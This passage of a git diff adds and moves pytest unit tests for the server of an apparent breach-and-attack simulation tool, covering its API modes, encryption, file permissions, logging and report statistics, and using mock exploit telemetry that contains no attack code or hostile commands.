+ with pytest.raises(InvalidConfigurationError):
+ assert ConfigurationImport.is_config_encrypted("ABC")
diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/test_island_mode.py b/monkey/tests/unit_tests/monkey_island/cc/resources/test_island_mode.py
new file mode 100644
index 000000000..37b09aaed
--- /dev/null
+++ b/monkey/tests/unit_tests/monkey_island/cc/resources/test_island_mode.py
@@ -0,0 +1,63 @@
+import json
+
+import pytest
+from tests.utils import raise_
+
+from monkey_island.cc.models.island_mode_model import IslandMode
+from monkey_island.cc.resources import island_mode as island_mode_resource
+
+
+@pytest.fixture(scope="function")
+def uses_database():
+ IslandMode.objects().delete()
+
+
+@pytest.mark.parametrize("mode", ["ransomware", "advanced"])
+def test_island_mode_post(flask_client, mode, monkeypatch):
+ monkeypatch.setattr(
+ "monkey_island.cc.resources.island_mode.update_config_on_mode_set",
+ lambda _: None,
+ )
+ resp = flask_client.post(
+ "/api/island-mode", data=json.dumps({"mode": mode}), follow_redirects=True
+ )
+ assert resp.status_code == 200
+
+
+def test_island_mode_post__invalid_mode(flask_client):
+ resp = flask_client.post(
+ "/api/island-mode", data=json.dumps({"mode": "bogus mode"}), follow_redirects=True
+ )
+ assert resp.status_code == 422
+
+
+@pytest.mark.parametrize("invalid_json", ["42", "{test"])
+def test_island_mode_post__invalid_json(flask_client, invalid_json):
+ resp = flask_client.post("/api/island-mode", data="{test", follow_redirects=True)
+ assert resp.status_code == 400
+
+
+def test_island_mode_post__internal_server_error(monkeypatch, flask_client):
+ monkeypatch.setattr(island_mode_resource, "set_mode", lambda x: raise_(Exception()))
+
+ resp = flask_client.post(
+ "/api/island-mode", data=json.dumps({"mode": "ransomware"}), follow_redirects=True
+ )
+ assert resp.status_code == 500
+
+
+@pytest.mark.parametrize("mode", ["ransomware", "advanced"])
+def test_island_mode_endpoint(flask_client, uses_database, mode):
+ flask_client.post("/api/island-mode", data=json.dumps({"mode": mode}), follow_redirects=True)
+ resp = flask_client.get("/api/island-mode", follow_redirects=True)
+ assert resp.status_code == 200
+ assert json.loads(resp.data)["mode"] == mode
+
+
+def test_island_mode_endpoint__invalid_mode(flask_client, uses_database):
+ resp_post = flask_client.post(
+ "/api/island-mode", data=json.dumps({"mode": "bogus_mode"}), follow_redirects=True
+ )
+ resp_get = flask_client.get("/api/island-mode", follow_redirects=True)
+ assert resp_post.status_code == 422
+ assert json.loads(resp_get.data)["mode"] is None
diff --git a/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_consts.py b/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_consts.py
new file mode 100644
index 000000000..26d7bc583
--- /dev/null
+++ b/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_consts.py
@@ -0,0 +1,18 @@
+import os
+import platform
+
+from monkey_island.cc.server_utils import consts
+
+
+def test_monkey_island_abs_path():
+ assert consts.MONKEY_ISLAND_ABS_PATH.endswith("monkey_island")
+ assert os.path.isdir(consts.MONKEY_ISLAND_ABS_PATH)
+
+
+def test_default_server_config_file_path():
+ if platform.system() == "Windows":
+ server_file_path = f"{consts.MONKEY_ISLAND_ABS_PATH}\\cc\\{consts.SERVER_CONFIG_FILENAME}"
+ else:
+ server_file_path = f"{consts.MONKEY_ISLAND_ABS_PATH}/cc/{consts.SERVER_CONFIG_FILENAME}"
+
+ assert consts.DEFAULT_SERVER_CONFIG_PATH == server_file_path
diff --git a/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_encryptor.py b/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_encryptor.py
new file mode 100644
index 000000000..0ca724d44
--- /dev/null
+++ b/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_encryptor.py
@@ -0,0 +1,32 @@
+import os
+
+from monkey_island.cc.server_utils.encryptor import get_encryptor, initialize_encryptor
+
+PASSWORD_FILENAME = "mongo_key.bin"
+
+PLAINTEXT = "Hello, Monkey!"
+CYPHERTEXT = "vKgvD6SjRyIh1dh2AM/rnTa0NI/vjfwnbZLbMocWtE4e42WJmSUz2ordtbQrH1Fq"
+
+
+def test_aes_cbc_encryption(data_for_tests_dir):
+ initialize_encryptor(data_for_tests_dir)
+
+ assert get_encryptor().enc(PLAINTEXT) != PLAINTEXT
+
+
+def test_aes_cbc_decryption(data_for_tests_dir):
+ initialize_encryptor(data_for_tests_dir)
+
+ assert get_encryptor().dec(CYPHERTEXT) == PLAINTEXT
+
+
+def test_aes_cbc_enc_dec(data_for_tests_dir):
+ initialize_encryptor(data_for_tests_dir)
+
+ assert get_encryptor().dec(get_encryptor().enc(PLAINTEXT)) == PLAINTEXT
+
+
+def test_create_new_password_file(tmpdir):
+ initialize_encryptor(tmpdir)
+
+ assert os.path.isfile(os.path.join(tmpdir, PASSWORD_FILENAME))
diff --git a/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py b/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py
new file mode 100644
index 000000000..6605673d0
--- /dev/null
+++ b/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py
@@ -0,0 +1,99 @@
+import os
+import stat
+
+import pytest
+from tests.monkey_island.utils import assert_windows_permissions
+
+from monkey_island.cc.server_utils.file_utils import (
+ create_secure_directory,
+ is_windows_os,
+ open_new_securely_permissioned_file,
+)
+
+
+@pytest.fixture
+def test_path_nested(tmpdir):
+ path = os.path.join(tmpdir, "test1", "test2", "test3")
+ return path
+
+
+@pytest.fixture
+def test_path(tmpdir):
+ test_path = "test1"
+ path = os.path.join(tmpdir, test_path)
+
+ return path
+
+
+def test_create_secure_directory__already_exists(test_path):
+ os.mkdir(test_path)
+ assert os.path.isdir(test_path)
+ create_secure_directory(test_path)
+
+
+def test_create_secure_directory__no_parent_dir(test_path_nested):
+ with pytest.raises(Exception):
+ create_secure_directory(test_path_nested)
+
+
+@pytest.mark.skipif(is_windows_os(), reason="Tests Posix (not Windows) permissions.")
+def test_create_secure_directory__perm_linux(test_path):
+ create_secure_directory(test_path)
+ st = os.stat(test_path)
+
+ expected_mode = stat.S_IRWXU
+ actual_mode = st.st_mode & (stat.S_IRWXU | stat.S_IRWXG | stat.S_IRWXO)
+
+ assert expected_mode == actual_mode
+
+
+@pytest.mark.skipif(not is_windows_os(), reason="Tests Windows (not Posix) permissions.")
+def test_create_secure_directory__perm_windows(test_path):
+ create_secure_directory(test_path)
+
+ assert_windows_permissions(test_path)
+
+
+def test_open_new_securely_permissioned_file__already_exists(test_path):
+ os.close(os.open(test_path, os.O_CREAT, stat.S_IRWXU))
+ assert os.path.isfile(test_path)
+
+ with pytest.raises(Exception):
+ with open_new_securely_permissioned_file(test_path):
+ pass
+
+
+def test_open_new_securely_permissioned_file__no_parent_dir(test_path_nested):
+ with pytest.raises(Exception):
+ with open_new_securely_permissioned_file(test_path_nested):
+ pass
+
+
+@pytest.mark.skipif(is_windows_os(), reason="Tests Posix (not Windows) permissions.")
+def test_open_new_securely_permissioned_file__perm_linux(test_path):
+ with open_new_securely_permissioned_file(test_path):
+ pass
+
+ st = os.stat(test_path)
+
+ expected_mode = stat.S_IRUSR | stat.S_IWUSR
+ actual_mode = st.st_mode & (stat.S_IRWXU | stat.S_IRWXG | stat.S_IRWXO)
+
+ assert expected_mode == actual_mode
+
+
+@pytest.mark.skipif(not is_windows_os(), reason="Tests Windows (not Posix) permissions.")
+def test_open_new_securely_permissioned_file__perm_windows(test_path):
+ with open_new_securely_permissioned_file(test_path):
+ pass
+
+ assert_windows_permissions(test_path)
+
+
+def test_open_new_securely_permissioned_file__write(test_path):
+ TEST_STR = b"Hello World"
+ with open_new_securely_permissioned_file(test_path, "wb") as f:
+ f.write(TEST_STR)
+
+ with open(test_path, "rb") as f:
+ assert f.read() == TEST_STR
diff --git a/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_island_logger.py b/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_island_logger.py
new file mode 100644
index 000000000..c4256252f
--- /dev/null
+++ b/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_island_logger.py
@@ -0,0 +1,101 @@
+import logging
+import os
+
+import pytest
+
+import monkey_island.cc.server_utils.island_logger as island_logger
+
+
+@pytest.fixture(autouse=True)
+def reset_logger():
+ yield
+
+ island_logger.reset_logger()
+
+
+def test_setup_logging_file_log_level_debug(tmpdir):
+ DATA_DIR = tmpdir
+ LOG_FILE = os.path.join(DATA_DIR, island_logger.ISLAND_LOG_FILENAME)
+ LOG_LEVEL = "DEBUG"
+ TEST_STRING = "Hello, Monkey! (File; Log level: debug)"
+
+ island_logger.setup_logging(DATA_DIR, LOG_LEVEL)
+
+ logger = logging.getLogger("TestLogger")
+ logger.debug(TEST_STRING)
+
+ assert os.path.isfile(LOG_FILE)
+ with open(LOG_FILE, "r") as f:
+ line = f.readline()
+ assert TEST_STRING in line
+
+
+def test_setup_logging_file_log_level_info(tmpdir):
+ DATA_DIR = tmpdir
+ LOG_FILE = os.path.join(DATA_DIR, island_logger.ISLAND_LOG_FILENAME)
+ LOG_LEVEL = "INFO"
+ TEST_STRING = "Hello, Monkey! (File; Log level: info)"
+
+ island_logger.setup_logging(DATA_DIR, LOG_LEVEL)
+
+ logger = logging.getLogger("TestLogger")
+ logger.debug(TEST_STRING)
+
+ assert os.path.isfile(LOG_FILE)
+ with open(LOG_FILE, "r") as f:
+ line = f.readline()
+ assert TEST_STRING not in line
+
+
+def test_setup_logging_console_log_level_debug(capsys, tmpdir):
+ DATA_DIR = tmpdir
+ LOG_LEVEL = "DEBUG"
+ TEST_STRING = "Hello, Monkey! (Console; Log level: debug)"
+
+ island_logger.setup_logging(DATA_DIR, LOG_LEVEL)
+
+ logger = logging.getLogger("TestLogger")
+ logger.debug(TEST_STRING)
+
+ captured = capsys.readouterr()
+ assert TEST_STRING in captured.out
+
+
+def test_setup_logging_console_log_level_info(capsys, tmpdir):
+ DATA_DIR = tmpdir
+ LOG_LEVEL = "INFO"
+ TEST_STRING = "Hello, Monkey! (Console; Log level: info)"
+
+ island_logger.setup_logging(DATA_DIR, LOG_LEVEL)
+
+ logger = logging.getLogger("TestLogger")
+ logger.debug(TEST_STRING)
+
+ captured = capsys.readouterr()
+ assert TEST_STRING not in captured.out
+
+
+def test_setup_logging_console_log_level_lower_case(capsys, tmpdir):
+ DATA_DIR = tmpdir
+ LOG_LEVEL = "debug"
+ TEST_STRING = "Hello, Monkey! (Console; Log level: debug)"
+
+ island_logger.setup_logging(DATA_DIR, LOG_LEVEL)
+
+ logger = logging.getLogger("TestLogger")
+ logger.debug(TEST_STRING)
+
+ captured = capsys.readouterr()
+ assert TEST_STRING in captured.out
+
+
+def test_setup_defailt_failsafe_logging(capsys):
+ TEST_STRING = "Hello, Monkey! (Console; Log level: debug)"
+
+ island_logger.setup_default_failsafe_logging()
+ logger = logging.getLogger("TestLogger")
+ logger.debug(TEST_STRING)
+
+ captured = capsys.readouterr()
+ assert TEST_STRING in captured.out
+ assert "DEBUG" in captured.out
diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/attack/test_mitre_api_interface.py b/monkey/tests/unit_tests/monkey_island/cc/services/attack/test_mitre_api_interface.py
new file mode 100644
index 000000000..f93afc8d5
--- /dev/null
+++ b/monkey/tests/unit_tests/monkey_island/cc/services/attack/test_mitre_api_interface.py
@@ -0,0 +1,14 @@
+import pytest
+
+from monkey_island.cc.services.attack.mitre_api_interface import MitreApiInterface
+
+
+@pytest.mark.slow
+def test_get_all_mitigations():
+ mitigations = MitreApiInterface.get_all_mitigations()
+ assert len(mitigations.items()) >= 282
+ mitigation = next(iter(mitigations.values()))
+ assert mitigation["type"] == "course-of-action"
+ assert mitigation["name"] is not None
+ assert mitigation["description"] is not None
+ assert mitigation["external_references"] is not None
diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/services/conftest.py
new file mode 100644
index 000000000..7b56c0c13
--- /dev/null
+++ b/monkey/tests/unit_tests/monkey_island/cc/services/conftest.py
@@ -0,0 +1,22 @@
+import pytest
+
+from monkey_island.cc.environment import Environment
+from monkey_island.cc.services.config import ConfigService
+
+
+@pytest.fixture
+def IPS():
+ return ["0.0.0.0", "9.9.9.9"]
+
+
+@pytest.fixture
+def PORT():
+ return 9999
+
+
+@pytest.fixture
+def config(monkeypatch, IPS, PORT):
+ monkeypatch.setattr("monkey_island.cc.services.config.local_ip_addresses", lambda: IPS)
+ monkeypatch.setattr(Environment, "_ISLAND_PORT", PORT)
+ config = ConfigService.get_default_config(True)
+ return config
diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/edge/test_displayed_edge_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/edge/test_displayed_edge_service.py
new file mode 100644
index 000000000..4c7ca36a7
--- /dev/null
+++ b/monkey/tests/unit_tests/monkey_island/cc/services/edge/test_displayed_edge_service.py
@@ -0,0 +1,94 @@
+from bson import ObjectId
+
+from monkey_island.cc.services.edge.displayed_edge import DisplayedEdgeService
+from monkey_island.cc.services.edge.edge import RIGHT_ARROW, EdgeService
+
+SCAN_DATA_MOCK = [
+ {
+ "timestamp": "2020-05-27T14:59:28.944Z",
+ "data": {
+ "os": {"type": "linux", "version": "Ubuntu-4ubuntu2.8"},
+ "services": {
+ "tcp-8088": {"display_name": "unknown(TCP)", "port": 8088},
+ "tcp-22": {
+ "display_name": "SSH",
+ "port": 22,
+ "banner": "SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.8\r\n",
+ "name": "ssh",
+ },
+ },
+ "monkey_exe": None,
+ "default_tunnel": None,
+ "default_server": None,
+ },
+ }
+]
+
+EXPLOIT_DATA_MOCK = [
+ {
+ "result": True,
+ "exploiter": "ElasticGroovyExploiter",
+ "info": {
+ "display_name": "Elastic search",
+ "started": "2020-05-11T08:59:38.105Z",
+ "finished": "2020-05-11T08:59:38.106Z",
+ "vulnerable_urls": [],
+ "vulnerable_ports": [],
+ "executed_cmds": [],
+ },
+ "attempts": [],
+ "timestamp": "2020-05-27T14:59:29.048Z",
+ }
+]
+
+
+class TestDisplayedEdgeService:
+ def test_get_displayed_edges_by_to(self):
+ dst_id = ObjectId()
+
+ src_id = ObjectId()
+ EdgeService.get_or_create_edge(src_id, dst_id, "Ubuntu-4ubuntu2.8", "Ubuntu-4ubuntu2.8")
+
+ src_id2 = ObjectId()
+ EdgeService.get_or_create_edge(src_id2, dst_id, "Ubuntu-4ubuntu3.2", "Ubuntu-4ubuntu2.8")
+
+ displayed_edges = DisplayedEdgeService.get_displayed_edges_by_dst(str(dst_id))
+ assert len(displayed_edges) == 2
+
+ def test_edge_to_displayed_edge(self):
+ src_node_id = ObjectId()
+ dst_node_id = ObjectId()
+ edge = EdgeService(
+ src_node_id=src_node_id,
+ dst_node_id=dst_node_id,
+ scans=SCAN_DATA_MOCK,
+ exploits=EXPLOIT_DATA_MOCK,
+ exploited=True,
+ domain_name=None,
+ ip_address="10.2.2.2",
+ dst_label="Ubuntu-4ubuntu2.8",
+ src_label="Ubuntu-4ubuntu3.2",
+ )
+
+ displayed_edge = DisplayedEdgeService.edge_to_displayed_edge(edge)
+
+ assert displayed_edge["to"] == dst_node_id
+ assert displayed_edge["from"] == src_node_id
+ assert displayed_edge["ip_address"] == "10.2.2.2"
+ assert displayed_edge["services"] == ["tcp-8088: unknown", "tcp-22: ssh"]
+ assert displayed_edge["os"] == {"type": "linux", "version": "Ubuntu-4ubuntu2.8"}
+ assert displayed_edge["exploits"] == EXPLOIT_DATA_MOCK
+ assert displayed_edge["_label"] == "Ubuntu-4ubuntu3.2 " + RIGHT_ARROW + " Ubuntu-4ubuntu2.8"
+ assert displayed_edge["group"] == "exploited"
+ return displayed_edge
+
+ def test_services_to_displayed_services(self):
+ services1 = DisplayedEdgeService.services_to_displayed_services(
+ SCAN_DATA_MOCK[-1]["data"]["services"], True
+ )
+ assert services1 == ["tcp-8088", "tcp-22"]
+
+ services2 = DisplayedEdgeService.services_to_displayed_services(
+ SCAN_DATA_MOCK[-1]["data"]["services"], False
+ )
+ assert services2 == ["tcp-8088: unknown", "tcp-22: ssh"]
diff --git a/monkey/monkey_island/cc/services/edge/test_edge.py b/monkey/tests/unit_tests/monkey_island/cc/services/edge/test_edge_service.py
similarity index 86%
rename from monkey/monkey_island/cc/services/edge/test_edge.py
rename to monkey/tests/unit_tests/monkey_island/cc/services/edge/test_edge_service.py
index f327bc2d1..8754d5fac 100644
--- a/monkey/monkey_island/cc/services/edge/test_edge.py
+++ b/monkey/tests/unit_tests/monkey_island/cc/services/edge/test_edge_service.py
@@ -5,14 +5,12 @@ from mongomock import ObjectId
from monkey_island.cc.models.edge import Edge
from monkey_island.cc.services.edge.edge import EdgeService
-from monkey_island.cc.test_common.fixtures import FixtureEnum
logger = logging.getLogger(__name__)
class TestEdgeService:
-
- @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE)
+ @pytest.mark.usefixtures("uses_database")
def test_get_or_create_edge(self):
src_id = ObjectId()
dst_id = ObjectId()
@@ -34,9 +32,7 @@ class TestEdgeService:
assert len(Edge.objects()) == 1
def test_get_edge_group(self):
- edge = Edge(src_node_id=ObjectId(),
- dst_node_id=ObjectId(),
- exploited=True)
+ edge = Edge(src_node_id=ObjectId(), dst_node_id=ObjectId(), exploited=True)
assert "exploited" == EdgeService.get_group(edge)
edge.exploited = False
diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/ransomware/test_ransomware_report.py b/monkey/tests/unit_tests/monkey_island/cc/services/ransomware/test_ransomware_report.py
new file mode 100644
index 000000000..a12b2aa9c
--- /dev/null
+++ b/monkey/tests/unit_tests/monkey_island/cc/services/ransomware/test_ransomware_report.py
@@ -0,0 +1,38 @@
+import pytest
+
+from monkey_island.cc.services.ransomware import ransomware_report
+from monkey_island.cc.services.reporting.exploitations.monkey_exploitation import MonkeyExploitation
+from monkey_island.cc.services.reporting.report import ReportService
+
+
+@pytest.fixture
+def patch_report_service_for_stats(monkeypatch):
+ TEST_SCANNED_RESULTS = [{}, {}, {}, {}]
+ TEST_EXPLOITED_RESULTS = [
+ MonkeyExploitation("", [], "", exploits=["SSH Exploiter"]),
+ MonkeyExploitation("", [], "", exploits=["SSH Exploiter", "SMB Exploiter"]),
+ MonkeyExploitation("", [], "", exploits=["WMI Exploiter"]),
+ ]
+
+ monkeypatch.setattr(ReportService, "get_scanned", lambda: TEST_SCANNED_RESULTS)
+ monkeypatch.setattr(ransomware_report, "get_monkey_exploited", lambda: TEST_EXPLOITED_RESULTS)
+
+
+def test_get_propagation_stats__num_scanned(patch_report_service_for_stats):
+ stats = ransomware_report.get_propagation_stats()
+
+ assert stats["num_scanned_nodes"] == 4
+
+
+def test_get_propagation_stats__num_exploited(patch_report_service_for_stats):
+ stats = ransomware_report.get_propagation_stats()
+
+ assert stats["num_exploited_nodes"] == 3
+
+
+def test_get_propagation_stats__num_exploited_per_exploit(patch_report_service_for_stats):
+ stats = ransomware_report.get_propagation_stats()
+
+ assert stats["num_exploited_per_exploit"]["SSH Exploiter"] == 2
+ assert stats["num_exploited_per_exploit"]["SMB Exploiter"] == 1
+ assert stats["num_exploited_per_exploit"]["WMI Exploiter"] == 1
diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/reporting/exploitations/test_monkey_exploitation.py b/monkey/tests/unit_tests/monkey_island/cc/services/reporting/exploitations/test_monkey_exploitation.py
new file mode 100644
index 000000000..f40e09c62
--- /dev/null
+++ b/monkey/tests/unit_tests/monkey_island/cc/services/reporting/exploitations/test_monkey_exploitation.py
@@ -0,0 +1,24 @@
+from tests.unit_tests.monkey_island.cc.services.reporting.test_report import (
+ NODE_DICT,
+ NODE_DICT_DUPLICATE_EXPLOITS,
+ NODE_DICT_FAILED_EXPLOITS,
+)
+
+from monkey_island.cc.services.reporting.exploitations.monkey_exploitation import (
+ get_exploits_used_on_node,
+)
+
+
+def test_get_exploits_used_on_node__2_exploits():
+ exploits = get_exploits_used_on_node(NODE_DICT)
+ assert sorted(exploits) == sorted(["Elastic Groovy Exploiter", "Drupal Server Exploiter"])
+
+
+def test_get_exploits_used_on_node__duplicate_exploits():
+ exploits = get_exploits_used_on_node(NODE_DICT_DUPLICATE_EXPLOITS)
+ assert exploits == ["Drupal Server Exploiter"]
+
+
+def test_get_exploits_used_on_node__failed():
+ exploits = get_exploits_used_on_node(NODE_DICT_FAILED_EXPLOITS)
+ assert exploits == []
diff --git a/monkey/monkey_island/cc/services/tests/reporting/test_report.py b/monkey/tests/unit_tests/monkey_island/cc/services/reporting/test_report.py
similarity index 64%
rename from monkey/monkey_island/cc/services/tests/reporting/test_report.py
rename to monkey/tests/unit_tests/monkey_island/cc/services/reporting/test_report.py
index cc0ea321e..0093e4235 100644
--- a/monkey/monkey_island/cc/services/tests/reporting/test_report.py
+++ b/monkey/tests/unit_tests/monkey_island/cc/services/reporting/test_report.py
@@ -1,3 +1,6 @@
+import datetime
+from copy import deepcopy
+
import mongomock
import pytest
from bson import ObjectId
@@ -18,7 +21,6 @@ NT_HASH = "a9fdfa038c4b75ebc76dc855dd74f0da"
VICTIM_IP = "0.0.0.0"
VICTIM_DOMAIN_NAME = "domain-name"
HOSTNAME = "name-of-host"
-EXPLOITER_CLASS_NAME = "exploiter-name"
# Below telem constants only contain fields relevant to current tests
@@ -39,11 +41,10 @@ EXPLOIT_TELEMETRY_TELEM = {
"ntlm_hash": NT_HASH,
}
}
- }
- }
+ },
+ },
}
-
SYSTEM_INFO_TELEMETRY_TELEM = {
"_id": TELEM_ID["system_info_creds"],
"monkey_guid": MONKEY_GUID,
@@ -56,7 +57,7 @@ SYSTEM_INFO_TELEMETRY_TELEM = {
"ntlm_hash": NT_HASH,
}
}
- }
+ },
}
NO_CREDS_TELEMETRY_TELEM = {
@@ -68,12 +69,59 @@ NO_CREDS_TELEMETRY_TELEM = {
"ip_addr": VICTIM_IP,
"domain_name": VICTIM_DOMAIN_NAME,
},
- "info": {"credentials": {}}
- }
+ "info": {"credentials": {}},
+ },
}
MONKEY_TELEM = {"_id": TELEM_ID["monkey"], "guid": MONKEY_GUID, "hostname": HOSTNAME}
+NODE_DICT = {
+ "id": "602f62118e30cf35830ff8e4",
+ "label": "WinDev2010Eval.mshome.net",
+ "group": "monkey_windows",
+ "os": "windows",
+ "dead": True,
+ "exploits": [
+ {
+ "result": True,
+ "exploiter": "DrupalExploiter",
+ "info": {
+ "display_name": "Drupal Server",
+ "started": datetime.datetime(2021, 2, 19, 9, 0, 14, 950000),
+ "finished": datetime.datetime(2021, 2, 19, 9, 0, 14, 950000),
+ "vulnerable_urls": [],
+ "vulnerable_ports": [],
+ "executed_cmds": [],
+ },
+ "attempts": [],
+ "timestamp": datetime.datetime(2021, 2, 19, 9, 0, 14, 984000),
+ "origin": "MonkeyIsland : 192.168.56.1",
+ },
+ {
+ "result": True,
+ "exploiter": "ElasticGroovyExploiter",
+ "info": {
+ "display_name": "Elastic search",
+ "started": datetime.datetime(2021, 2, 19, 9, 0, 15, 16000),
+ "finished": datetime.datetime(2021, 2, 19, 9, 0, 15, 17000),
+ "vulnerable_urls": [],
+ "vulnerable_ports": [],
+ "executed_cmds": [],
+ },
+ "attempts": [],
+ "timestamp": datetime.datetime(2021, 2, 19, 9, 0, 15, 60000),
+ "origin": "MonkeyIsland : 192.168.56.1",
+ },
+ ],
+}
+
+NODE_DICT_DUPLICATE_EXPLOITS = deepcopy(NODE_DICT)
+NODE_DICT_DUPLICATE_EXPLOITS["exploits"][1] = NODE_DICT_DUPLICATE_EXPLOITS["exploits"][0]
+
+NODE_DICT_FAILED_EXPLOITS = deepcopy(NODE_DICT)
+NODE_DICT_FAILED_EXPLOITS["exploits"][0]["result"] = False
+NODE_DICT_FAILED_EXPLOITS["exploits"][1]["result"] = False
+
@pytest.fixture
def fake_mongo(monkeypatch):
diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_environment.py b/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_environment_telemetry_processing.py
similarity index 84%
rename from monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_environment.py
rename to monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_environment_telemetry_processing.py
index 6369ea9e1..042f5b874 100644
--- a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_environment.py
+++ b/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_environment_telemetry_processing.py
@@ -1,8 +1,9 @@
import uuid
from monkey_island.cc.models import Monkey
-from monkey_island.cc.services.telemetry.processing.system_info_collectors.system_info_telemetry_dispatcher import \
- SystemInfoTelemetryDispatcher
+from monkey_island.cc.services.telemetry.processing.system_info_collectors.system_info_telemetry_dispatcher import ( # noqa: E501
+ SystemInfoTelemetryDispatcher,
+)
class TestEnvironmentTelemetryProcessing:
@@ -20,7 +21,7 @@ class TestEnvironmentTelemetryProcessing:
"EnvironmentCollector": {"environment": on_premise},
}
},
- "monkey_guid": monkey_guid
+ "monkey_guid": monkey_guid,
}
dispatcher.dispatch_collector_results_to_relevant_processors(telem_json)
diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py b/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py
similarity index 86%
rename from monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py
rename to monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py
index eed93058a..6829daf4b 100644
--- a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py
+++ b/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py
@@ -3,8 +3,10 @@ import uuid
import pytest
from monkey_island.cc.models import Monkey
-from monkey_island.cc.services.telemetry.processing.system_info_collectors.system_info_telemetry_dispatcher import (
- SystemInfoTelemetryDispatcher, process_aws_telemetry)
+from monkey_island.cc.services.telemetry.processing.system_info_collectors.system_info_telemetry_dispatcher import ( # noqa: E501
+ SystemInfoTelemetryDispatcher,
+ process_aws_telemetry,
+)
TEST_SYS_INFO_TO_PROCESSING = {
"AwsCollector": [process_aws_telemetry],
@@ -13,7 +15,6 @@ TEST_SYS_INFO_TO_PROCESSING = {
class TestSystemInfoTelemetryDispatcher:
def test_dispatch_to_relevant_collector_bad_inputs(self):
-
dispatcher = SystemInfoTelemetryDispatcher(TEST_SYS_INFO_TO_PROCESSING)
# Bad format telem JSONs - throws
@@ -31,7 +32,10 @@ class TestSystemInfoTelemetryDispatcher:
# Telem JSON with no collectors - nothing gets dispatched
good_telem_no_collectors = {"monkey_guid": "bla", "data": {"bla": "bla"}}
- good_telem_empty_collectors = {"monkey_guid": "bla", "data": {"bla": "bla", "collectors": {}}}
+ good_telem_empty_collectors = {
+ "monkey_guid": "bla",
+ "data": {"bla": "bla", "collectors": {}},
+ }
dispatcher.dispatch_collector_results_to_relevant_processors(good_telem_no_collectors)
dispatcher.dispatch_collector_results_to_relevant_processors(good_telem_empty_collectors)
@@ -50,7 +54,7 @@ class TestSystemInfoTelemetryDispatcher:
"AwsCollector": {"instance_id": instance_id},
}
},
- "monkey_guid": a_monkey.guid
+ "monkey_guid": a_monkey.guid,
}
dispatcher.dispatch_collector_results_to_relevant_processors(telem_json)
diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/test_post_breach.py b/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/test_post_breach.py
new file mode 100644
index 000000000..f6d33b930
--- /dev/null
+++ b/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/test_post_breach.py
@@ -0,0 +1,76 @@
+from unittest.mock import Mock
+
+import monkey_island.cc.services.telemetry.processing.post_breach as post_breach
+from monkey_island.cc.services.telemetry.processing.post_breach import EXECUTION_WITHOUT_OUTPUT
+
+original_telem_multiple_results = {
+ "data": {
+ "command": "COMMAND",
+ "hostname": "HOST",
+ "ip": "127.0.1.1",
+ "name": "PBA NAME",
+ "result": [["SUCCESSFUL", True], ["UNSUCCESFUL", False], ["", True]],
+ },
+ "telem_category": "post_breach",
+}
+
+expected_telem_multiple_results = {
+ "data": [
+ {
+ "command": "COMMAND",
+ "hostname": "HOST",
+ "ip": "127.0.1.1",
+ "name": "PBA NAME",
+ "result": ["SUCCESSFUL", True],
+ },
+ {
+ "command": "COMMAND",
+ "hostname": "HOST",
+ "ip": "127.0.1.1",
+ "name": "PBA NAME",
+ "result": ["UNSUCCESFUL", False],
+ },
+ {
+ "command": "COMMAND",
+ "hostname": "HOST",
+ "ip": "127.0.1.1",
+ "name": "PBA NAME",
+ "result": [EXECUTION_WITHOUT_OUTPUT, True],
+ },
+ ],
+ "telem_category": "post_breach",
+}
+
+original_telem_single_result = {
+ "data": {
+ "command": "COMMAND",
+ "hostname": "HOST",
+ "ip": "127.0.1.1",
+ "name": "PBA NAME",
+ "result": ["", True],
+ },
+ "telem_category": "post_breach",
+}
+
+expected_telem_single_result = {
+ "data": [
+ {
+ "command": "COMMAND",
+ "hostname": "HOST",
+ "ip": "127.0.1.1",
+ "name": "PBA NAME",
+ "result": [EXECUTION_WITHOUT_OUTPUT, True],
+ },
+ ],
+ "telem_category": "post_breach",
+}
+
+
+def test_process_post_breach_telemetry():
+ post_breach.update_data = Mock() # actual behavior of update_data() is to access mongodb
+ # multiple results in PBA
+ post_breach.process_post_breach_telemetry(original_telem_multiple_results)
+ assert original_telem_multiple_results == expected_telem_multiple_results
+ # single result in PBA
+ post_breach.process_post_breach_telemetry(original_telem_single_result)
